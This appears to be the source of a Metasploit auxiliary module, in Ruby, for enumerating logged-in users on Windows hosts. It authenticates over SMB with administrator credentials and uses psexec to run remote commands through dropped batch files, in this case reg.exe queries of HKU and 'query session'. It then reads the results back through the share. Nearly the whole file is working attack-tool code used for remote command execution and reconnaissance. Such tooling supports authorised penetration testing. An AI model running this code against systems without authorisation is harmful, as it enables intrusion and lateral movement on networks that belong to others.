214 lines
7.8 KiB
Ruby
214 lines
7.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
# Exploit mixins should be called first
|
|
include Msf::Exploit::Remote::SMB::Client::Psexec
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
# Aliases for common classes
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Microsoft Windows Authenticated Logged In Users Enumeration',
|
|
'Description' => %Q{
|
|
This module uses a valid administrator username and password to enumerate users
|
|
currently logged in, using a similar technique than the "psexec" utility provided
|
|
by SysInternals. It uses reg.exe to query the HKU base registry key.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
|
[ 'OSVDB', '3106'],
|
|
[ 'URL', 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
|
|
OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']),
|
|
OptString.new('RPORT', [true, 'The Target port', 445]),
|
|
OptString.new('WINPATH', [true, 'The name of the Windows directory', 'WINDOWS']),
|
|
])
|
|
|
|
deregister_options('RHOST')
|
|
end
|
|
|
|
# This is the main controller function
|
|
def run_host(ip)
|
|
cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe"
|
|
bat = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
|
|
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
|
|
smbshare = datastore['SMBSHARE']
|
|
|
|
# Try and authenticate with given credentials
|
|
begin
|
|
connect
|
|
smb_login
|
|
rescue StandardError => autherror
|
|
print_error("#{autherror}")
|
|
return
|
|
end
|
|
|
|
keys = get_hku(ip, smbshare, cmd, text, bat)
|
|
if !keys
|
|
cleanup_after(cmd, text, bat)
|
|
disconnect
|
|
return
|
|
end
|
|
keys.each do |key|
|
|
check_hku_entry(key, ip, smbshare, cmd, text, bat)
|
|
end
|
|
cleanup_after(cmd, text, bat)
|
|
disconnect
|
|
end
|
|
|
|
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
|
|
# Returns an array object
|
|
def get_hku(ip, smbshare, cmd, text, bat)
|
|
begin
|
|
# Try and query HKU
|
|
command = "#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
|
out = psexec(command)
|
|
output = get_output(ip, smbshare, text)
|
|
cleanout = Array.new
|
|
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")}
|
|
return cleanout
|
|
rescue StandardError => hku_error
|
|
print_error("Error runing query against HKU. #{hku_error.class}. #{hku_error}")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# This method will retrive output from a specified textfile on the remote host
|
|
def get_output(ip, smbshare, file)
|
|
begin
|
|
simple.connect("\\\\#{ip}\\#{smbshare}")
|
|
outfile = simple.open(file, 'ro')
|
|
output = outfile.read
|
|
outfile.close
|
|
simple.disconnect("\\\\#{ip}\\#{smbshare}")
|
|
return output
|
|
rescue StandardError => output_error
|
|
print_error("Error getting command output. #{output_error.class}. #{output_error}.")
|
|
return false
|
|
end
|
|
end
|
|
|
|
def report_user(username)
|
|
report_note(
|
|
:host => rhost,
|
|
:proto => 'tcp',
|
|
:sname => 'smb',
|
|
:port => rport,
|
|
:type => 'smb.domain.loggedusers',
|
|
:data => "#{username} is logged in",
|
|
:update => :unique_data
|
|
)
|
|
end
|
|
|
|
# This method checks a provided HKU entry to determine if it is a valid SID
|
|
# Either returns nil or returns the name of a valid user
|
|
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
|
|
begin
|
|
key = key.split("HKEY_USERS\\")[1].chomp
|
|
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
|
out = psexec(command)
|
|
if output = get_output(ip, smbshare, text)
|
|
domain, username, dnsdomain, homepath, logonserver = "","","","",""
|
|
# Run this IF loop and only check for specified user if datastore['USERNAME'] is specified
|
|
if datastore['USERNAME'].length > 0
|
|
output.each_line do |line|
|
|
username = line if line.include?("USERNAME")
|
|
domain = line if line.include?("USERDOMAIN")
|
|
end
|
|
if domain.split(" ")[2].to_s.chomp + "\\" + username.split(" ")[2].to_s.chomp == datastore['USERNAME']
|
|
print_good("#{datastore['USERNAME']} is logged in")
|
|
report_user(datastore['USERNAME'])
|
|
end
|
|
return
|
|
end
|
|
output.each_line do |line|
|
|
domain = line if line.include?("USERDOMAIN")
|
|
username = line if line.include?("USERNAME")
|
|
dnsdomain = line if line.include?("USERDNSDOMAIN")
|
|
homepath = line if line.include?("HOMEPATH")
|
|
logonserver = line if line.include?("LOGONSERVER")
|
|
end
|
|
if username.length > 0 && domain.length > 0
|
|
user = domain.split(" ")[2].to_s + "\\" + username.split(" ")[2].to_s
|
|
print_good("#{user}")
|
|
report_user(user.chomp)
|
|
elsif logonserver.length > 0 && homepath.length > 0
|
|
uname = homepath.split('\\')[homepath.split('\\').size - 1]
|
|
if uname.include?(".")
|
|
uname = uname.split(".")[0]
|
|
end
|
|
user = logonserver.split('\\\\')[1].chomp.to_s + "\\" + uname.to_s
|
|
print_good("#{user}")
|
|
report_user(user.chomp)
|
|
else
|
|
username = query_session(smbshare, ip, cmd, text, bat)
|
|
if username
|
|
hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "."
|
|
user = "#{hostname}\\#{username}"
|
|
print_good("#{user}")
|
|
report_user(user.chomp)
|
|
else
|
|
print_status("Unable to determine user information for user: #{key}")
|
|
end
|
|
end
|
|
else
|
|
print_status("Could not determine logged in users")
|
|
end
|
|
rescue Rex::Proto::SMB::Exceptions::Error => check_error
|
|
print_error("Error checking reg key. #{check_error.class}. #{check_error}")
|
|
return check_error
|
|
end
|
|
end
|
|
|
|
# Cleanup module. Gets rid of .txt and .bat files created in the #{datastore['WINPATH']}\Temp directory
|
|
def cleanup_after(cmd, text, bat)
|
|
begin
|
|
# Try and do cleanup command
|
|
cleanup = "#{cmd} /C del %SYSTEMDRIVE%#{text} & del #{bat}"
|
|
print_status("Executing cleanup")
|
|
out = psexec(cleanup)
|
|
rescue StandardError => cleanuperror
|
|
print_error("Unable to processes cleanup commands: #{cleanuperror}")
|
|
print_warning("Maybe %SYSTEMDRIVE%#{text} must be deleted manually")
|
|
print_warning("Maybe #{bat} must be deleted manually")
|
|
return cleanuperror
|
|
end
|
|
end
|
|
|
|
# Method trys to use "query session" to determine logged in user
|
|
def query_session(smbshare, ip, cmd, text, bat)
|
|
begin
|
|
command = "#{cmd} /C echo query session ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
|
out = psexec(command)
|
|
userline = ""
|
|
if output = get_output(ip, smbshare, text)
|
|
output.each_line { |line| userline << line if line[0] == '>' }
|
|
else
|
|
return nil
|
|
end
|
|
return userline.split(" ")[1].chomp
|
|
rescue
|
|
return nil
|
|
end
|
|
end
|
|
end
|